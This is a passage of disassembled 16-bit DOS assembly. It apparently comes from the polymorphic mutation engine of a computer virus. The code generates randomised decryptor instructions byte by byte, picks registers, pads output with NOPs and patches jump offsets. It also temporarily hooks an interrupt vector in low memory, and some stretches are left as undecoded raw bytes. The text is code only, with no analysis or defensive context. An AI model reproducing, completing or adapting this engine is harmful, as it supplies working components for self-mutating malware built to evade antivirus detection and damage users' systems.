(FFE7:0159=0) + push cx + push ax +loc_10: + cmp bx,dx + je loc_12 ; Jump if equal + dec bx + mov al,[bx] + xor al,1 + cmp al,61h ; 'a' + je loc_11 ; Jump if equal + xor al,9 +loc_11: + stosb ; Store al to es:[di] + inc cx + jmp short loc_10 ; (0236) +loc_12: + pop dx + pop ax + mov bx,data_32e ; (FFE7:0150=0) + test dx,dx + jz loc_13 ; Jump if zero + xchg ax,cx + mov al,0E9h + stosb ; Store al to es:[di] + mov bx,di + xchg ax,dx + stosw ; Store ax to es:[di] + mov di,data_34e ; (FFE7:0559=0) +loc_13: + test byte ptr ds:data_30e,8 ; (FFE7:0135=0) + jnz loc_14 ; Jump if not zero + neg cx + and cx,0Fh + mov al,90h + rep stosb ; Rep when cx >0 Store al to es:[di] +loc_14: + lea ax,[di-559h] ; Load effective addr + add [bx],ax + and al,0FEh + add ds:data_31e,ax ; (FFE7:0136=0) + call sub_1 ; (0176) + mov ds,bp + shr ax,1 ; Shift w/zeros fill + mov cx,ax + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_6: + push di + push ax + xor cx,cx ; Zero register + mov ds,cx + mov cx,cs + mov bx,1A3h + mov di,data_2e ; (0000:000C=5) + cli ; Disable interrupts + xchg cx,[di+2] + xchg bx,[di] + sti ; Enable interrupts + push cx + push bx + push di + push ds + push es + pop ds + push cs + mov bx,359h + call sub_8 ; (02E4) + xchg ax,bp + pop es + pop di + cli ; Disable interrupts + pop ax + stosw ; Store ax to es:[di] + pop ax + stosw ; Store ax to es:[di] + sti ; Enable interrupts + pop bx + push ds + pop es + mov di,data_28e ; (FFE7:0063=0) + xor si,si ; Zero register + mov cx,21h +loc_15: + xor ax,ax ; Zero register + repe scasw ; Rep zf=1+cx >0 Scan es:[di] for ax + jz loc_17 ; Jump if zero + mov ax,[di-2] + cmp ax,si + jb loc_15 ; Jump if below + mov dx,1 + xchg ax,si + mov ax,[di+40h] + cmp ax,bx + je loc_16 ; Jump if equal + or ax,ax ; Zero ? + jnz loc_15 ; Jump if not zero + lodsb ; String [si] to al + cbw ; Convrt byte to word + xchg ax,dx +loc_16: + call sub_7 ; (02DC) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_7: + mov [si],al + inc si + dec dx + jnz loc_16 ; Jump if not zero + jmp short loc_15 ; (02BA) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_8: + push es + push bx + retf ; Return far +loc_17: + pop dx + retn +sub_5 endp + + push bp + mov bp,sp + push di + push cx + push bx + push ax + mov bx,[bp+2] + mov al,[bx] + jnz loc_18 ; Jump if not zero + xchg ax,bx + mov di,offset data_16 ; (78CA:00E7=45h) + mov cx,21h + repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax + inc word ptr [di-44h] + mov al,ch +loc_18: + cbw ; Convrt byte to word + inc ax + add [bp+2],ax + pop ax + pop bx + pop cx + pop di + pop bp + iret ; Interrupt return + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_9 proc near + mov di,data_29e ; (FFE7:0129=0) + mov ax,101h + stosb ; Store al to es:[di] + stosw ; Store ax to es:[di] + mov ah,81h + mov ds:data_1e,ax ; (0000:0000=0E8h) +loc_19: + call sub_10 ; (0320) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_10: + xchg ax,dx + call sub_11 ; (0324) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_11: + mov bl,[di-1] + xor bh,bh ; Zero register + mov si,bx + mov cx,[si-1] + cmp ch,6 + jne loc_21 ; Jump if not equal +loc_20: + or dl,1 + jmp short loc_23 ; (034F) +loc_21: + cmp ch,86h + jne loc_22 ; Jump if not equal + xor cl,cl ; Zero register + inc bx +loc_22: + and al,[di+2] + cmp al,bl + jae $+22h ; Jump if above or = + shr bl,1 ; Shift w/zeros fill + jnc loc_23 ; Jump if carry=0 + or cl,cl ; Zero ? + jz loc_24 ; Jump if zero +loc_23: + or dl,dl ; Zero ? +loc_24: + mov al,0 + jnz loc_25 ; Jump if not zero + or bp,bp ; Zero ? + jnz loc_20 ; Jump if not zero + mov al,2 +loc_25: + or ch,ch ; Zero ? + jns loc_26 ; Jump if not sign + mov [di],si + mov al,1 +loc_26: + mov [si],al + jmp short loc_29 ; (0395) + xchg ax,dx + db 0D4h, 0Ch, 80h,0E5h, 80h, 74h + db 02h,0D0h,0E8h, 40h, 40h, 40h + db 8Ah,0E0h, 88h, 04h, 8Ah, 55h + db 0FEh, 42h, 8Ah,0F2h,0FEh,0C6h + db 88h, 75h,0FEh, 8Ah,0DAh,0B7h + db 00h, 8Ah,0CFh, 73h, 04h, 3Ch + db 06h, 72h, 02h +loc_27: + xchg cl,ch +loc_28: + xor ax,cx + mov [bx],ax +loc_29: + shl si,1 ; Shift w/zeros fill + mov [si+21h],dx + inc byte ptr [di-1] + mov al,[di-2] + cmp al,[di-1] + jb loc_ret_36 ; Jump if below + jmp loc_19 ; (031D) +loc_30: + dec bp + or dh,dh ; Zero ? + jns loc_42 ; Jump if not sign + mov dh,[si] + inc bp + jz loc_30 ; Jump if zero + dec bp + jnz loc_37 ; Jump if not zero + push bx + mov bx,offset ds:[2A7h] ; (78CA:02A7=7) + xchg al,dh + xlat cs:[bx] ; al=[al+[bx]] table + cmp al,86h + xchg al,dh + xchg ax,bx + mov cl,2Eh ; '.' + mov al,ds:data_30e ; (FFE7:0135=0) + jnz loc_32 ; Jump if not zero + test al,2 + jnz loc_31 ; Jump if not zero + mov cl,3Eh ; '>' +loc_31: + test al,4 + jmp short loc_34 ; (03DB) +loc_32: + test al,4 + jnz loc_33 ; Jump if not zero + mov cl,36h ; '6' +loc_33: + test al,2 +loc_34: + jz loc_35 ; Jump if zero + mov al,cl + stosb ; Store al to es:[di] +loc_35: + pop ax + call sub_14 ; (0421) + mov [si-1Ch],di + stosw ; Store ax to es:[di] + +loc_ret_36: + retn +loc_37: + mov dx,bp + lea bp,[di+1] ; Load effective addr +loc_38: + stc ; Set carry flag + retn + xchg ax,[bx+si] + xchg al,ds:data_35e[si] ; (FFE7:3585=36h) + out 0Ah,ax ; port 0Ah, DMA-1 mask reg bit + idiv byte ptr [bx+si-4Eh] ; al,ah rem = ax/data + cmp dh,al + je loc_ret_36 ; Jump if equal + cmp byte ptr [si-1Dh],0FFh + jne loc_42 ; Jump if not equal + push ax + or dh,dh ; Zero ? + jz loc_39 ; Jump if zero + or al,al ; Zero ? + jnz loc_41 ; Jump if not zero + mov al,dh +loc_39: + or bp,bp ; Zero ? + jnz loc_40 ; Jump if not zero + cmp al,[si] + je loc_41 ; Jump if equal +loc_40: + pop bx + or al,90h + stosb ; Store al to es:[di] + retn +loc_41: + pop ax +loc_42: + or al,18h + xchg ax,bx +sub_9 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_14 proc near + stosb ; Store al to es:[di] + xchg ax,bx + mov cl,3 + shl al,cl ; Shift w/zeros fill + or al,dh + stosb ; Store al to es:[di] + retn +sub_14 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_16 proc near + mov bx,ax + shr al,1 ; Shift w/zeros fill + mov cx,ax + shl cx,1 ; Shift w/zeros fill + mov di,data_27e ; (FFE7:0023=0) +loc_43: + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + jnz loc_38 ; Jump if not zero + lea si,[di-22h] ; Load effective addr + shr si,1 ; Shift w/zeros fill + cmp byte ptr [si],3 + jb loc_43 ; Jump if below + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_17: + lea ax,[di-22h] ; Load effective addr + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_18: + retn +sub_16 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_19 proc near + mov al,data_18 ; (78CA:012C=0) + cbw ; Convrt byte to word + shl al,1 ; Shift w/zeros fill + call sub_16 ; (042B) + jc loc_ret_53 ; Jump if carry Set + mov ds:data_14e,al ; (5F44:0129=0FFh) +loc_44: + call sub_16 ; (042B) + jnc loc_45 ; Jump if carry=0 + xor al,al ; Zero register +loc_45: + push ax + shr al,1 ; Shift w/zeros fill + mov [bx+21h],al + shr bl,1 ; Shift w/zeros fill + lahf ; Load ah from flags + mov al,[bx] + and al,7Fh + cmp al,3 + jne loc_46 ; Jump if not equal + sahf ; Store ah into flags + jc loc_52 ; Jump if carry Set + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_21: + inc ax + jmp short loc_51 ; (04B7) +loc_46: + cmp al,4 + jne loc_48 ; Jump if not equal + sahf ; Store ah into flags + jnc loc_47 ; Jump if carry=0 + mov si,bx + mov cl,8 + rol word ptr [bx+si+21h],cl ; Rotate +loc_47: + dec ax + jmp short loc_51 ; (04B7) +loc_48: + cmp al,6 + jb loc_52 ; Jump if below + jnz loc_50 ; Jump if not zero + shl bl,1 ; Shift w/zeros fill + mov bl,[bx+22h] + shl bl,1 ; Shift w/zeros fill + mov si,[bx+21h] + xor ax,ax ; Zero register + mov dx,1 + mov cx,ax + mov di,dx +loc_49: + mov [bx+21h],di + dec si + jz loc_52 ; Jump if zero + inc si + div si ; ax,dx rem=dx:ax/reg + push dx + mul di ; dx:ax = reg * ax + sub cx,ax + xchg cx,di + mov ax,si + xor dx,dx ; Zero register + pop si + jmp short loc_49 ; (049E) +loc_50: + xor al,0Fh +loc_51: + mov [bx],al +loc_52: + pop ax + or al,al ; Zero ? + jnz loc_44 ; Jump if not zero + shr data_17,1 ; (78CA:0129=0) Shift w/zeros fill + +loc_ret_53: + retn +sub_19 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_22 proc near + mov ds:data_4e,bl ; (0000:012E=0) + push dx + push di + call sub_9 ; (0310) + pop di + pop dx + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_23: + push di + mov di,offset ds:[144h] ; (78CA:0144=0) + mov ax,0FFFFh + stosw ; Store ax to es:[di] + inc al + stosw ; Store ax to es:[di] + stosw ; Store ax to es:[di] + dec al + stosw ; Store ax to es:[di] + mov [di+3],al + mov bl,[di-23h] + push bx + push dx +;* call sub_32 ;*(0682) + db 0E8h, 9Ah, 01h + mov si,di + call sub_35 ; (06E6) + pop dx + pop bx + pop di + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_25: + push bx + inc bp + jz loc_54 ; Jump if zero + dec bp +;* jnz loc_57 ;*Jump if not zero + db 75h, 62h + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_26: + inc bp +loc_54: + dec bp + inc dx + jz loc_55 ; Jump if zero + dec dx + dec bp + mov al,[si] +;* call sub_42 ;*(095B) + db 0E8h, 58h, 04h + inc bp +loc_55: + pop bx + push di + call sub_36 ; (070E) + or bp,bp ; Zero ? + jnz loc_56 ; Jump if not zero + pop cx + dec bp + mov ax,150h + xchg ax,[si-1Ch] + or dh,dh ; Zero ? + js $+22h ; Jump if sign=1 + inc bp + push cx + push ax + mov al,[si+3] + and al,0B7h + cmp al,87h + jne loc_58 ; Jump if not equal + cmp bp,[si-12h] + jne loc_58 ; Jump if not equal + db 6Dh, 9Ch, 1Fh, 00h, 84h, 6Ah + db 16h, 01h, 01h, 85h, 94h, 16h + db 01h, 02h, 85h,0D8h, 16h, 01h + db 02h, 85h,0DCh, 16h, 01h, 02h + db 0C5h, 47h, 14h, 01h, 01h,0C6h + db 71h, 14h, 01h, 01h,0AEh,0A0h + db 0E7h, 03h, 01h +loc_56: + in al,3 ; port 3, DMA-1 bas&cnt ch 1 + xor byte ptr [di-4],2 + shl byte ptr [si+3],1 ; Shift w/zeros fill + jns loc_62 ; Jump if not sign + mov bl,0F7h + mov al,3 + jmp short loc_61 ; (05A3) + cmp cx,15Ch + jne loc_59 ; Jump if not equal + sub cx,3 + sub di,3 + mov bl,[si] +loc_58: + xor bh,bh ; Zero register + dec byte ptr [bx+si-10h] +loc_59: + mov bx,data_8e ; (0000:0150=0E0h) + jmp short loc_65 ; (05E7) + or dh,dh ; Zero ? + jns loc_60 ; Jump if not sign + mov dh,[si] + jmp short loc_60 ; (0592) + push bp + call sub_40 ; (0737) + mov al,[si+1] + or al,90h + stosb ; Store al to es:[di] + pop ax + or dh,dh ; Zero ? + jns loc_60 ; Jump if not sign + xchg ax,dx +loc_60: + pop ax + mov bh,0FFh + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_27: + mov byte ptr [di],0CBh + retn + db 0E8h, 00h, 00h + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_28: + and al,2 + add al,87h + xchg ax,bx + mov al,dh +loc_61: +;* call sub_13 ;*(03D6) + db 0E8h, 30h,0FEh +loc_62: + mov al,[si] + cmp di,359h + jae loc_63 ; Jump if above or = + push ax + dec bp + xor dl,dl ; Zero register + mov dh,al + shr byte ptr [si-1Eh],1 ; Shift w/zeros fill + call sub_25 ; (04F0) + push dx + push di + call sub_21 ; (0471) + call sub_31 ; (0675) + pop di + pop dx + push cx + call sub_26 ; (04F7) + pop cx + pop ax +;* call sub_44 ;*(0984) + db 0E8h,0B7h, 03h + or ch,ch ; Zero ? + js loc_64 ; Jump if sign=1 +loc_63: + or al,40h ; '@' + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] +loc_64: + mov al,75h ; 'u' + stosb ; Store al to es:[di] + pop bx + pop ax + mov cx,ax + sub ax,di + dec ax + stosb ; Store al to es:[di] + or al,al ; Zero ? + js loc_65 ; Jump if sign=1 + xor bx,bx ; Zero register + retn +loc_65: + call sub_27 ; (0595) + push cx + mov dx,559h + cmp di,359h + jae loc_72 ; Jump if above or = + push bx + mov bl,7 + mov dx,bp +;* call sub_24 ;*(04EC) + db 0E8h,0F0h,0FEh + push di + mov di,offset ds:[158h] ; (78CA:0158=95h) + xor bx,bx ; Zero register + mov dx,di + mov cl,[si-18h] +loc_66: + shr cl,1 ; Shift w/zeros fill + pushf ; Push flags + jnc loc_67 ; Jump if carry=0 + cmp bh,[bx+si-10h] + jne loc_67 ; Jump if not equal + lea ax,[bx+50h] ; Load effective addr + std ; Set direction flag + stosb ; Store al to es:[di] +loc_67: + inc bx + popf ; Pop flags + jnz loc_66 ; Jump if not zero + inc di + cmp di,dx + jae loc_70 ; Jump if above or = + cmp bh,[si-1Dh] + jne loc_68 ; Jump if not equal + mov di,dx + mov byte ptr [di],60h ; '`' + jmp short loc_70 ; (0643) +loc_68: + push di +loc_69: + call sub_29 ; (062F) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_29: + and al,7 + cbw ; Convrt byte to word + xchg ax,bx + add bx,di + cmp bx,dx + ja loc_69 ; Jump if above + mov al,[di] + xchg al,[bx] + stosb ; Store al to es:[di] + cmp di,dx + jne loc_69 ; Jump if not equal + pop di +loc_70: + pop bp + mov cx,bp + sub cx,di + cmp word ptr [si-1Ah],0 + je loc_71 ; Jump if equal + add cx,15Ch + sub cx,di +loc_71: + mov dx,[si-14h] + mov ax,dx + add dx,cx + add ax,[si-12h] + pop bx + cmp word ptr [si-12h],0 + jne loc_73 ; Jump if not equal +loc_72: + mov ax,dx +loc_73: + call sub_30 ; (066F) + xchg ax,dx + pop dx + mov bx,[si-1Ch] +sub_22 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_30 proc near + sub ax,[si-16h] + mov [bx],ax + retn +sub_30 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_31 proc near + xor cx,cx ; Zero register + mov al,data_17 ; (78CA:0129=0) + cbw ; Convrt byte to word + xchg ax,bx + mov dx,0FFFEh + mov al,[bx] + cmp al,3 + je loc_74 ; Jump if equal + cmp al,4 + jne loc_ret_75 ; Jump if not equal + neg dx +loc_74: + shl bl,1 ; Shift w/zeros fill + push bx + inc bx + call sub_33 ; (0696) + pop bx + mov dx,2 + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_33: + mov bl,[bx+21h] + cmp bh,[bx] + jne loc_ret_75 ; Jump if not equal + mov si,bx + add dx,[bx+si+21h] + or dl,dl ; Zero ? + jz loc_ret_75 ; Jump if zero + mov [bx+si+21h],dx + dec cx + +loc_ret_75: + retn +sub_31 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_34 proc near + xor bh,bh ; Zero register + and byte ptr [bx],7Fh + mov dl,[bx] + mov ax,bx + shl bl,1 ; Shift w/zeros fill + mov bx,[bx+21h] + cmp dl,3 + jb loc_ret_80 ; Jump if below + push ax + push bx + call sub_34 ; (06AB) + pop bx + mov bl,bh + push dx + call sub_34 ; (06AB) + xchg ax,bx + pop cx + pop bx + mov dh,[bx] + sub dh,0Dh + jz loc_76 ; Jump if zero + add dh,7 + jnz loc_77 ; Jump if not zero +loc_76: + mov [di+3],dh + mov [di-0Eh],dh + jmp short loc_79 ; (0705) +loc_77: + cmp dh,5 + jae loc_79 ; Jump if above or = + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_35: + or dl,dl ; Zero ? + jnz loc_78 ; Jump if not zero + cmp dl,[di-1Dh] + je loc_79 ; Jump if equal + sub al,0Eh + and al,0Fh + cmp al,5 + jae loc_78 ; Jump if above or = + cmp al,2 + jae loc_79 ; Jump if above or = + cmp dh,3 + jb loc_79 ; Jump if below +loc_78: + mov [di-0Fh],bh + mov dl,80h +loc_79: + or dl,cl + and dl,80h + or dl,[bx] + mov [bx],dl + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_36: + +loc_ret_80: + retn +sub_34 endp + + call sub_38 ; (0720) + call sub_37 ; (0715) + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_37 proc near + and al,7 + jz loc_83 ; Jump if zero + xor al,al ; Zero register + cmp al,[si+3] + je loc_83 ; Jump if equal + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_38: +loc_81: + call sub_39 ; (0723) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_39: + and al,3 + jnz loc_82 ; Jump if not zero + mov al,7 +loc_82: + xor al,4 +loc_83: + cbw ; Convrt byte to word + mov bx,ax + xchg bh,[bx+si-8] + or bh,bh ; Zero ? + jz loc_81 ; Jump if zero + stosb ; Store al to es:[di] + +loc_ret_84: + retn +sub_37 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_40 proc near + mov word ptr [si+2],80FFh + xor bh,bh ; Zero register + mov al,[bx] + and ax,7Fh + shl bl,1 ; Shift w/zeros fill + mov dx,0FF00h + dec ax + jz loc_ret_84 ; Jump if zero + mov dh,[si] + dec ax + jz loc_ret_84 ; Jump if zero + mov dx,[bx+21h] + js loc_ret_84 ; Jump if sign=1 + push ax + push dx + push bx + mov bl,dh + call sub_40 ; (0737) + pop bx + pop cx + pop ax + cmp al,0Ch + jne loc_89 ; Jump if not equal + or dl,dl ; Zero ? + jnz loc_ret_84 ; Jump if not zero + cmp dh,[si] + je loc_ret_84 ; Jump if equal + push ax + push cx + push bx + push dx + call sub_43 ; (0981) + pop dx + mov ax,[si+1] + cmp dh,al + jne loc_85 ; Jump if not equal + or ah,ah ; Zero ? + jz loc_86 ; Jump if zero +loc_85: + mov bl,85h + call sub_18 ; (0447) +loc_86: + pop bx + mov al,75h ; 'u' + stosb ; Store al to es:[di] + inc bp + jz loc_88 ; Jump if zero + cmp di,data_15e ; (5F44:0359=0FFh) + jb loc_87 ; Jump if below + add byte ptr [di-1],57h ; 'W' +loc_87: + mov ax,di + xchg ax,[bx+63h] + mov ds:data_12e[bx],ax ; (5F44:00E7=0FFFFh) +loc_88: + dec bp + inc di + mov dx,di + jmp short loc_96 ; (080D) +loc_89: + push ax + push cx + or dl,dl ; Zero ? + jnz loc_96 ; Jump if not zero + cmp dh,[si+1] + jne loc_96 ; Jump if not equal + mov al,[si+3] + or al,al ; Zero ? + js loc_91 ; Jump if sign=1 + and al,7 + jz loc_90 ; Jump if zero + cmp al,[si] + je loc_91 ; Jump if equal + cmp al,3 + jb loc_91 ; Jump if below +loc_90: + xor byte ptr [di-2],2 + test byte ptr [si+3],40h ; '@' + jz loc_94 ; Jump if zero + push ax + or al,0D8h + mov ah,al + mov al,0F7h + stosw ; Store ax to es:[di] + pop ax + jmp short loc_94 ; (0807) +loc_91: + call sub_41 ; (07DA) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_41: + mov cx,8 +loc_92: + push ax + mov al,dh + or al,50h ; 'P' + stosb ; Store al to es:[di] + pop ax + mov bl,80h + jcxz loc_95 ; Jump if cx=0 + dec di + dec cx + inc ax + and al,7 + cbw ; Convrt byte to word + mov bx,ax + mov ah,[bx+si-8] + or ah,ah ; Zero ? + jz loc_92 ; Jump if zero + dec bx + jnz loc_93 ; Jump if not zero + pop bx + push bx + xor bh,bh ; Zero register + mov ah,[bx] + or ah,ah ; Zero ? + js loc_92 ; Jump if sign=1 +loc_93: +;* call sub_44 ;*(0984) + db 0E8h, 7Dh, 01h +loc_94: + xchg ax,bx + inc byte ptr [bx+si-8] +loc_95: + mov dh,bl +loc_96: + pop bx + push dx + call sub_40 ; (0737) + call sub_43 ; (0981) + pop dx + pop ax + mov byte ptr [si+3],80h + cmp al,0Ch + jne loc_97 ; Jump if not equal + mov bx,dx + mov dx,di + sub dx,bx + mov [bx-1],dl +;* jmp loc_122 ;*(094D) + db 0E9h, 22h, 01h +loc_97: + mov ch,ah + push ax + or dl,dl ; Zero ? + jnz loc_100 ; Jump if not zero + cmp dh,80h + jne loc_99 ; Jump if not equal + sub al,5 + cmp al,4 + mov al,1 + jc loc_98 ; Jump if carry Set + inc ax +loc_98: + mov dh,al + or al,58h ; 'X' + stosb ; Store al to es:[di] + jmp short loc_100 ; (0856) +loc_99: + or dh,dh ; Zero ? + js loc_100 ; Jump if sign=1 + cmp dh,[si] + je loc_100 ; Jump if equal + mov bl,dh + xor bh,bh ; Zero register + dec byte ptr [bx+si-8] +loc_100: + pop ax + mov bl,0Bh + sub al,9 + jz loc_101 ; Jump if zero + mov bl,23h ; '#' + dec ax + jz loc_101 ; Jump if zero + add al,6 + cbw ; Convrt byte to word + jns loc_109 ; Jump if not sign + mov bl,33h ; '3' + inc ax + jz loc_101 ; Jump if zero + mov bl,3 + jp loc_101 ; Jump if parity=1 + mov bl,2Bh ; '+' +loc_101: + mov al,[si+1] + or dl,dl ; Zero ? + jnz loc_104 ; Jump if not zero + and dh,87h + cmp bl,2Bh ; '+' + jne loc_102 ; Jump if not equal + or dh,40h ; '@' +loc_102: + mov [si+3],dh +loc_103: +;* call sub_12 ;*(03D2) + db 0E8h, 48h,0FBh + jnc loc_116 ; Jump if carry=0 + or al,al ; Zero ? + jz loc_104 ; Jump if zero + inc bp +loc_104: + xor bl,6 + push dx + inc dx + inc dx + cmp dx,5 + pop dx + jnc loc_113 ; Jump if carry=0 + or ax,ax ; Zero ? + js loc_106 ; Jump if sign=1 + cmp bl,35h ; '5' + jne loc_113 ; Jump if not equal + inc dx + jnz loc_112 ; Jump if not zero + mov dh,al + mov al,2 +loc_105: + mov bl,0F7h + mov ch,bl + jmp short loc_103 ; (0887) +loc_106: + or dx,dx ; Zero ? + jns loc_107 ; Jump if not sign + neg dx + xor bl,28h ; '(' +loc_107: + or al,40h ; '@' + cmp bl,5 + je loc_108 ; Jump if equal + or al,8 +loc_108: + stosb ; Store al to es:[di] + dec dx + jz loc_116 ; Jump if zero + stosb ; Store al to es:[di] + jmp short loc_116 ; (08FD) +loc_109: + mov cl,4 + jnz loc_117 ; Jump if not zero +loc_110: + or dl,dl ; Zero ? + jz loc_111 ; Jump if zero + mov ax,2BAh + stosb ; Store al to es:[di] + xchg ax,dx + stosw ; Store ax to es:[di] +loc_111: + xchg ax,cx + jmp short loc_105 ; (08AD) +loc_112: + dec dx +loc_113: + or al,al ; Zero ? + jz loc_115 ; Jump if zero + and bl,38h ; '8' + or al,0C0h + or bl,al + mov al,dl + cbw ; Convrt byte to word + xor ax,dx + mov al,81h + jnz loc_114 ; Jump if not zero + mov al,83h + stc ; Set carry flag +loc_114: + stosb ; Store al to es:[di] +loc_115: + xchg ax,bx + stosb ; Store al to es:[di] + xchg ax,dx + stosw ; Store ax to es:[di] + jnc loc_116 ; Jump if carry=0 + dec di +loc_116: +;* jmp short loc_121 ;*(094A) + db 0EBh, 4Bh +loc_117: + inc cx + cmp al,7 + je loc_110 ; Jump if equal + inc ax + cmp al,4 + pushf ; Push flags + jnc loc_118 ; Jump if 